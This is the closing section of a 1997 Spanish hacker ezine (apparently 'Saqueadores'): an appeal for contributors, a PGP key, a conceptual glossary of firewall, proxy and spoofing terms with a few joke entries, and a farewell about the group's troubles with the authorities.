Necesito gente que escriba sobre virus, crackings, telefonia con o sin hilos, bueno que escriba sobre cualquier cosa que encaje en este fanzine o ezine, creo que ha quedado claro ¨no?. Es mushho trabajo pa mi solito.

Si no teneis tiempo pero si dinero o medios necesitamos espacio FTP para poner programas, dominio propio o mas de 10Mb para paginas Web tampoco nos vendria mal.

Un 'artista' que quiera echar una mano currandose nuestro sitio Web tambien seria bienvenido.

Ayudad a difundir la revista, subidla a BBS, poned links, pasadsela a amigos -yo que se! pero que se sepa que no han pillado a todos, al menos de momento aunque me parece que oigo llamar a la puerta :DD

Por supuesto los proyectos de lanzar una Edicion Internacional de Saqueadores y de reeditar corregidos y ampliados los primeros numeros en un pack especial quedan en suspenso hasta nuevo aviso. Pero si alguien estaba trabajando en ello, ENVIALO, ya lo utilizare en su momento.

Os recomiendo que encripteis el correo dirigido a <paseante@geocities.com> con esta clave.

Tipo	Bits/Clave	Fecha	Identificador
pub	1024/AF12D401	1997/02/19	Paseante <paseante@geocities.com>

```
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.3ia

mQCNAjMK8d4AAAEEAL4kqbSDJ8C60RvWH7MG/b27Xn06fgr1+ieeBHyWwIIQlGkI
ljyNvYzLToiS+7KqNMUMoASBRC80RSb8cwBJCa+d1yfRlkUMop2IaXoPRzXtn5xp
7aEfjV2PP95/A1612KyoTV4V2jpSeQZBUn3wryD1K20a5H+ngbPnIf+vEtQBAAUT
tCFQYXNlYW50ZSA8cGFzZWFudGVAZ2VvY2l0aWVzLmNvbT6JAJUDBRAzn9+Js+ch
/68S1AEBAZUfBACCM+X7hYGSoYeZVLallf5ZMXb4UST2R+a6qcp74/N8PI5H18RR
GS8N1hpYTWItB1Yt2NLlxih1RX9vGymZqj3TRAGQmojzLCSpdSlJBVV5v4eCTvU/
qX2bZIxsBVwxoQP3yzp0v5cuOhIoAzvTl1UM/sE46ej4da6uT1B2UQ7bOQ==
=ukog
-----END PGP PUBLIC KEY BLOCK-----
```

EOF

```
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º 09. GLOSARIO DE TERMINOS                                                  º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ¼
```

Soy consciente de que habr gente que se haya liado la cabeza con todo lo anterior sobre proxys y firewalls y mi ensalada de "spanglish". :(

Voy a tratar de remediar la posible "empanada" con este glosario y pido disculpas porque muchos de los terminos no tienen traducci¢n al castellano y he tenido que 'improvisar'.
En aras de la facilidad tambien he utilizado en el texto algunos conceptos como sin¢nimos sin que lo sean estrictamente, en cualquier caso espero que me perdoneis.
Y no os preocupeis si veis aqui palabras que no salen en el articulo este glosario esta pensado para cubrir los 3 articulos, recordais que he dicho que seria como un cursillo sobre proxys y firewalls en 3 entregas. ;)

Unas cuantas palabrejas que conviene saber.

Autentificaci¢n: El proceso de verificar la identidad del usuario que intenta acceder a la red.

Authentication-Token: Un dispositivo portable que sirve para identificar a un usuario, de tipo pregunta-respuesta, con secuencia de c¢digos de caracter temporal o cualquier otra tecnica. Su rasgo caracteristico es la impredecibilidad.

Autorizaci¢n: Proceso de determinar el tipo de actividades permitidas, esta estrechamente relacionado con la autentificaci¢n puesto que diferentes usuarios pueden tener diferentes permisos de actividad.

Bastion-Host: Sistema reforzado para resistir ataques e instalado en una red bien como componente de un firewall o como servidor Web u otro tipo de servidor que soporte acceso p£blico. Normalmente operan con S.O estandar (UNIX, VMS...) y no con firmware.

Checksum criptografico: La forma basica de detectar alteraciones de ficheros en Unix, una funci¢n one-way que produce una "huella dactilar" del fichero.

Chroot: Una tecnica UNIX en la que un proceso es permanentemente restringido a una 'subarea' del sistema de ficheros. La tecnica que se aplica a cualquier proxy dise¤ado seg£n las especificaciones de seguridad del Departamento de Defensa de USA.

DNS Spoofing: Suplantar el nombre DNS de otro sistema.

Firewall: Sistema o combinaci¢n de sistemas que refuerzan y vigilan el perimetro entre dos o mas redes.

Firewall a nivel de aplicaci¢n: Un sistema de firewall en el que los servicios son manejados por procesos que mantienen conexiones TCP completas, a menudo estos sistemas hacen un remapeado de IP para que todo el trafico interior aparente proceder del firewall (id: screening)

Gateway: Ordenador o aplicaci¢n que actua de "puente" entre dos sistemas.

Host-based security: Tecnica que protege un sistema individual de un ataque.

Esta tecnica depende del S.O.

Insider attack: Un ataque que se origina dentro de la red protegida.

IP spoofing: Tipo de ataque en el que un sistema asume la direcci¢n IP de otro para suplantarlo.

IP splicing/ Hijacking: Se produce cuando un atacante consigue interceptar una sesi¢n ya establecida. Por ejemplo: El atacante espera a que la victima se dentifique ante el sistema y tras ello le suplanta como usuario autorizado.

Logging: El proceso de almacenar informaci¢n sobre sucesos que ocurren en la red o el firewall.

Network- Level Firewall: Un firewall en el que el trafico se examina a nivel de protocolo.

Pregunta-Respuesta: Forma de autentificaci¢n en la cual el usuario recibe alg£n tipo de pregunta impredecible que debe ser contestada por un authentication-token. (Challenge and Response, literalmente desafio-respuesta)

Proxy: De Palma. Conocida y bella actriz espa¤ola

TCP/IP: Eso que sirve para vamos, ya me entiendes.

EOF

ÉÍÍ»
º 10. DESPEDIDA º
ÈÍÍ¼

Hemos llegado al final de este numero, algo atipico pero espero haber mantenido el nivel de la revista, de nuevo os pido COLABORAD para salvar Saqueadores, puede que alguno de vosotros tengais miedo a las consecuencias, tranquilos simplemente enviadme los ficheros, articulos, cartas de apoyo a <paseante@geocities.com> y yo los pondre en la revista con vuestro apodo. Los pitufos se quedaran con las ganas, ESTO NO ES ILEGAL.

Es duro ver como todo un proyecto, un grupo cae barrido por la intrasigencia del poder, ¨que guardan en sus ordenadores que tanto miedo nos tienen?. Anyway, show must go on!.

Y recordad, hagais lo que hagais.
Tened cuidado ahi fuera.

Paseante <paseante@geocities.com>

EOF